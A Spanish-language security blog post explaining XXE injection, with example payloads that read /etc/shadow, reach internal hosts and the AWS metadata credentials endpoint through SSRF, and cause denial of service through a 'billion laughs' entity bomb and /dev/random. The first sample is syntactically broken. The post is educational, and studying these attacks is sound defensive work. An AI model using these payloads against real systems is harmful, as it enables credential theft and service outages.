18 feb. 2021

Vulnerabilidades XXE (XML eXternal Entity Injection) y contramedidas

Las inyecciones de entidad externa XML (XXE) son un tipo de vulnerabilidades que se han hecho muy populares en los últimos años, de hecho ahora forma parte del Top 10 de OWASP en el punto A4.

Básicamente se trata de un tipo de ataque contra una aplicación que analiza la entradas XML. A grandes rasgos, los DTD (Document Type Definition) se utilizan para definir la estructura de un documento XML y dentro de las mismas se pueden declarar entidades XML. 

Existe un tipo especial de entidades XML llamadas "entidades externas", que se utilizan para acceder a contenido local o remoto con una URL. 

Por ejemplo, esta DTD declara una entidad externa denominada "file" que apunta a file:///secrets.txt en el sistema de archivos local. El parser XML reemplazará cualquier referencia en el documento con el contenido de file:///secrets.txt.

<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE example [
   <! ENTITY file SYSTEM "file: ///secrets.txt">
]>
<example> & file; </example>

Si los usuarios pueden declarar entidades XML arbitrariamente en sus cargas, pueden declarar una entidad externa a cualquier ubicación de su máquina.

Por ejemplo, este archivo XML contiene una entidad externa que apunta a file:////etc/shadow en su servidor.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "file:////etc/shadow" >
]>
<example>&file;</example>

Cuando se documento XML sea mostrado/parseado mostrará el fichero shadow del sistema.

De XXE a SSRF

Además de leer archivos del sistema, los atacantes pueden utilizar las vulnerabilidades XXE para lanzar ataques SSRF contra la red local. Por ejemplo, pueden iniciar un escaneo de puertos cambiando la URL de la entidad externa con diferentes puertos en el servidor. Con esta técnica, se pueden escanear la red local para encontrar otras máquinas o servicios vulnerables a los que apuntar.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "http://10.0.0.1:80" >
]>
<example>&file;</example>

Los XXE también se pueden utilizar para lanzar un ataque SSRF para leer metadatos de instancias de servicios en la nube de AWS. Al acceder a la dirección 169.254.169.xxx, los atacantes podrían recuperar tokens de acceso, secretos y claves de token de sesión del proveedor de alojamiento en la nube.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
  <!ENTITY file SYSTEM "http://169.254.169.xxx/latest/meta-data/iam/security-credentials/" >
]>
<example>&file;</example>

Denegación de servicio

Otra opción es provocar denegaciones de servicio mediante XXE. Por ejemplo, mediante el siguiente XML esta DTD incrusta entidades dentro de entidades, lo que hace que el parser XML desreferencie de forma recursiva hasta llegar al valor de entidad "/"

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE example [<!ELEMENT example ANY ><!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><example>&lol9;</example>

Cada entidad "lol9" se expandiría en diez "lol8", y cada una de ellas se convertiría en diez "lol7", y así sucesivamente. Eventualmente, un "lol9" se expandirá a mil millones de "lol"s. Esto sobrecargará la memoria del parser XML, lo que podría provocar que se bloquee. Este método de ataque se denomina "ataque de mil millones de risas" o "bomba XML". Curiosamente, aunque este ataque a menudo se clasifica como un ataque XXE, ¡no implica el uso de entidades externas! En su lugar, utiliza el procesamiento recursivo de entidades internas.

Lo que si sería un ataque más sencillo pero a veces efectivo sería intentar leer un archivo potencialmente interminable, como por ejemplo:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

Contenido completo en fuente original HackPlayers

Fuentes:

0 comentarios:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!